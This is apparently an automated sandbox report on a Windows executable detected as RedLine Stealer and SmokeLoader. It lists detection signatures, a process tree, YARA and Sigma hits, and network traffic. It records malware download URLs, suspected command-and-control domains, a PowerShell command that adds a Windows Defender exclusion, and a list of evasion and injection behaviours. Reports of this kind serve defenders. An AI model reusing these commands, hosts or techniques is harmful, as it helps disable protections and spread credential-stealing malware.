Play interactive tour

Edit tour

Windows Analysis Report y4oMrtO1Mt.exe

Overview

General Information

Sample Name:	y4oMrtO1Mt.exe
Analysis ID:	518780
MD5:	db2ef30e8f821c8f00456941f5944849
SHA1:	01a08a69f1e8e6d822ece577a9ebe84a0c7f5f60
SHA256:	433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3
Tags:	exeRedLineStealer
Infos:
Most interesting Screenshot:

Detection

RedLine SmokeLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected RedLine Stealer

Yara detected SmokeLoader

System process connects to network (likely due to code injection or exploit)

Detected unpacking (changes PE section rights)

Antivirus detection for URL or domain

Antivirus detection for dropped file

DLL reload attack detected

Multi AV Scanner detection for submitted file

Benign windows process drops PE files

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect sandboxes and other dynamic analysis tools (window names)

Query firmware table information (likely to detect VMs)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Injects a PE file into a foreign processes

.NET source code contains very large array initializations

Contains functionality to inject code into remote processes

Deletes itself after installation

Creates a thread in another existing process (thread injection)

Adds a directory exclusion to Windows Defender

Hides that the sample has been downloaded from the Internet (zone.identifier)

Found many strings related to Crypto-Wallets (likely being stolen)

Checks if the current machine is a virtual machine (disk enumeration)

PE file contains section with special chars

Hides threads from debuggers

.NET source code references suspicious native API functions

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Sigma detected: Powershell Defender Exclusion

.NET source code contains method to dynamically call methods (often used by packers)

PE file has nameless sections

Machine Learning detection for dropped file

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Downloads executable code via HTTP

Uses insecure TLS / SSL version for HTTPS connection

Contains long sleeps (>= 3 min)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops files with a non-matching file extension (content does not match file extension)

PE file contains strange resources

Drops PE files

Tries to load missing DLLs

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Checks if the current process is being debugged

Binary contains a suspicious time stamp

Creates a process in suspended mode (likely to inject code)

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

PE file contains sections with non-standard names

Found potential string decryption / allocating functions

Yara detected Credential Stealer

Contains functionality to call native functions

Contains functionality for execution timing, often used to detect debuggers

Entry point lies outside standard sections

Enables debug privileges

Creates a DirectInput object (often for capturing keystrokes)

Found inlined nop instructions (likely shell or obfuscated code)

PE file does not import any functions

PE file contains an invalid checksum

Extensive use of GetProcAddress (often used to hide API calls)

Detected TCP or UDP traffic on non-standard ports

Contains functionality to launch a program with higher privileges

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64

y4oMrtO1Mt.exe (PID: 7100 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" MD5: DB2EF30E8F821C8F00456941F5944849)

y4oMrtO1Mt.exe (PID: 7140 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" MD5: DB2EF30E8F821C8F00456941F5944849)

explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BAB0E1D)

F72D.exe (PID: 6960 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)

F72D.exe (PID: 5008 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)

59B4.exe (PID: 5212 cmdline: C:\Users\user\AppData\Local\Temp\59B4.exe MD5: 510129781D403976345AFEA3BDB4E426)

8039.exe (PID: 5408 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EF9CFB2DDC4AF2089DF63A761ECC7833)

8039.exe (PID: 6032 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EF9CFB2DDC4AF2089DF63A761ECC7833)

9D57.exe (PID: 6244 cmdline: C:\Users\user\AppData\Local\Temp\9D57.exe MD5: 08CB82859479B33DC1D0738B985DB28C)

B8B0.exe (PID: 6784 cmdline: C:\Users\user\AppData\Local\Temp\B8B0.exe MD5: 9FA070AF1ED2E1F07ED8C9F6EB2BDD29)

AdvancedRun.exe (PID: 3544 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

AdvancedRun.exe (PID: 6560 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45cb-b375-131a4522ce18\AdvancedRun.exe" /SpecialRun 4101d8 3544 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

powershell.exe (PID: 3840 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)

conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

610B.exe (PID: 4936 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)

610B.exe (PID: 6984 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)

82DC.exe (PID: 4904 cmdline: C:\Users\user\AppData\Local\Temp\82DC.exe MD5: 0F289285CADCF1E656016A19789B5637)

conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

hrgjvbv (PID: 1572 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)

hrgjvbv (PID: 6780 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)

argjvbv (PID: 4856 cmdline: C:\Users\user\AppData\Roaming\argjvbv MD5: 08CB82859479B33DC1D0738B985DB28C)

cleanup

Malware Configuration

No configs have been found

Yara Overview

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\B8B0.exe	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/

Memory Dumps

Source	Rule	Description	Author	Strings
0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.879242303.00000000020A1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000001.00000002.725665133.00000000004A0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000000.851440177.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.946993376.0000000002180000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.945154520.0000000003D11000.00000004.00000001.sdmp	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0xbe080:$: VFZxUUFBT 0x11ab50:$: VFZxUUFBT
00000005.00000000.713707724.00000000044C1000.00000020.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.941479001.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000003.917443337.0000000000720000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.797092954.00000000006E1000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000014.00000002.860279815.00000000046F9000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000001.00000002.725720765.0000000000511000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000000.850675155.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000B.00000002.783710135.0000000002431000.00000004.00020000.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000000B.00000002.783461407.00000000005C0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000000.857126513.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000014.00000003.846233118.000000000115D000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000000D.00000002.797009453.0000000000530000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
00000016.00000002.953920982.0000000002B80000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000016.00000000.853234726.0000000000402000.00000040.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000017.00000002.878602271.00000000005E0000.00000004.00000001.sdmp	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
0000001B.00000002.950530750.0000000002600000.00000004.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001B.00000002.946243879.0000000002050000.00000004.00020000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0000001D.00000002.948562304.0000000003EEF000.00000004.00000001.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 8039.exe PID: 6032	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: 8039.exe PID: 6032	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 82DC.exe PID: 4904	SUSP_Double_Base64_Encoded_Executable	Detects an executable that has been encoded with base64 twice	Florian Roth	0x60f38:$: VFZxUUFBT 0x8f492:$: VFZxUUFBT
Click to see the 22 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
27.2.610B.exe.36b5530.8.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.82DC.exe.3f36280.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2600000.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2050000.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36b6418.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
29.2.82DC.exe.3f36280.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36b5530.8.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.8039.exe.4743790.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.12.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.2.B8B0.exe.ce0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
22.0.8039.exe.400000.10.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36b6418.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.36d0f50.7.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2600000.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2050000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.0.8039.exe.400000.6.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.8039.exe.4729678.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.B8B0.exe.ce0000.2.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.2.610B.exe.2050ee8.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.2050ee8.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
22.2.8039.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
20.2.8039.exe.4729678.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.21c0f6e.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.21c0086.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.B8B0.exe.ce0000.0.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.2.610B.exe.21c0f6e.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
27.2.610B.exe.21c0086.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
24.0.B8B0.exe.ce0000.1.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
24.0.B8B0.exe.ce0000.3.unpack	SUSP_PE_Discord_Attachment_Oct21_1	Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN)	Florian Roth	0x20735:$x1: https://cdn.discordapp.com/attachments/ 0x207e9:$x1: https://cdn.discordapp.com/attachments/
27.2.610B.exe.36d0f50.7.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 27 entries

Sigma Overview

System Summary:

Sigma detected: Suspicious Script Execution From Temp Folder

Show sources

Source: Process started

Author: Florian Roth, Max Altgelt: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentProcessId: 6784, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, ProcessId: 3840

Sigma detected: Powershell Defender Exclusion

Show sources

Source: Process started

Author: Florian Roth: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentProcessId: 6784, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, ProcessId: 3840

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, CommandLine|base64offset|contains: ~2yzw, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentImage: C:\Users\user\AppData\Local\Temp\B8B0.exe, ParentProcessId: 6784, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Local\Temp\B8B0.exe" -Force, ProcessId: 3840

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus detection for URL or domain

Show sources

Source: http://privacytoolzforyou7000.top/downloads/toolspab2.exe	Avira URL Cloud: Label: malware
Source: http://host-host-file6.com/files/7993_1636371023_9825.exe	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\82DC.exe

Avira: detection malicious, Label: HEUR/AGEN.1144480

Multi AV Scanner detection for submitted file

Show sources

Source: y4oMrtO1Mt.exe

Virustotal: Detection: 28%

Perma Link

Multi AV Scanner detection for domain / URL

Show sources

Source: http://privacytoolzforyou7000.top/downloads/toolspab2.exe	Virustotal: Detection: 11%			Perma Link
Source: http://host-host-file6.com/files/7993_1636371023_9825.exe	Virustotal: Detection: 15%			Perma Link

Multi AV Scanner detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\8039.exe	ReversingLabs: Detection: 35%
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	ReversingLabs: Detection: 53%
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	ReversingLabs: Detection: 74%
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Metadefender: Detection: 45%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Roaming\argjvbv	ReversingLabs: Detection: 74%

Machine Learning detection for sample

Show sources

Source: y4oMrtO1Mt.exe

Joe Sandbox ML: detected

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Temp\59B4.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\610B.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\82DC.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8039.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\argjvbv	Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49868 version: TLS 1.0

Source: y4oMrtO1Mt.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\9D57.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: unknown

HTTPS traffic detected: 162.159.134.233:443 -> 192.168.2.4:49880 version: TLS 1.2

Source:	Binary string: C:\Windows\System.ServiceModel.pdbpdbdel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: c:\Projects\VS2005\AdvancedRun\Release\AdvancedRun.pdb source: AdvancedRun.exe, 0000001C.00000000.907769722.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe, 0000001E.00000000.914935574.000000000040C000.00000002.00020000.sdmp, AdvancedRun.exe.24.dr
Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdbU source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: C:\feze\liyixira.pdb source: 9D57.exe.5.dr
Source:	Binary string: C:\samuf.pdb source: y4oMrtO1Mt.exe
Source:	Binary string: _.pdb source: 610B.exe, 0000001B.00000002.954434043.00000000036B5000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: 9D57.exe, 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, 1105.tmp.23.dr
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdbr9 source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: 9D57.exe, 1105.tmp.23.dr
Source:	Binary string: System.ServiceModel.pdbH source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958905948.0000000000F3F000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb7] source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: 59B4.exe, 00000013.00000002.958716562.0000000000EB9000.00000004.00000020.sdmp
Source:	Binary string: #cC:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: C:\zan\cesibevu.pdb source: 610B.exe.5.dr
Source:	Binary string: %C:\feze\liyixira.pdbp+@` source: 9D57.exe.5.dr

Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then add dword ptr [ebp-5Ch], 01h
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then jmp 0302100Dh
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h
Source: C:\Users\user\AppData\Local\Temp\B8B0.exe	Code function: 4x nop then jmp 0302100Dh

Networking:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Domain query: nalirou70.top
Source: C:\Windows\explorer.exe	Network Connect: 216.128.137.31 80
Source: C:\Windows\explorer.exe	Domain query: nusurtal4f.net
Source: C:\Windows\explorer.exe	Domain query: host-host-file6.com
Source: C:\Windows\explorer.exe	Domain query: hajezey10.top
Source: C:\Windows\explorer.exe	Domain query: privacytoolzforyou7000.top

Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526114763767818/A623D0D3.jpg HTTP/1.1Host: cdn.discordapp.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /attachments/893177342426509335/902526117016109056/AB0F9338.jpg HTTP/1.1Host: cdn.discordapp.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Tue, 09 Nov 2021 21:20:51 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.5.38Last-Modified: Tue, 09 Nov 2021 21:20:02 GMTETag: "47800-5d061ac268811"Accept-Ranges: bytesContent-Length: 292864Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd 92 82 96 f9 f3 ec c5 f9 f3 ec c5 f9 f3 ec c5 96 85 47 c5 d3 f3 ec c5 96 85 72 c5 e8 f3 ec c5 96 85 46 c5 9e f3 ec c5 f0 8b 7f c5 fe f3 ec c5 f9 f3 ed c5 7c f3 ec c5 96 85 43 c5 f8 f3 ec c5 96 85 76 c5 f8 f3 ec c5 96 85 71 c5 f8 f3 ec c5 52 69 63 68 f9 f3 ec c5 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4d 64 d7 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 14 03 00 00 a6 70 02 00 00 00 00 60 82 01 00 00 10 00 00 00 30 03 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 00 74 02 00 04 00 00 31 08 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 ec 16 03 00 50 00 00 00 00 a0 72 02 10 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 72 02 c0 17 00 00 40 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 7b 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a8 12 03 00 00 10 00 00 00 14 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 2c 64 6f 02 00 30 03 00 00 12 00 00 00 18 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 10 42 00 00 00 a0 72 02 00 44 00 00 00 2a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 09 01 00 00 f0 72 02 00 0a 01 00 00 6e 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
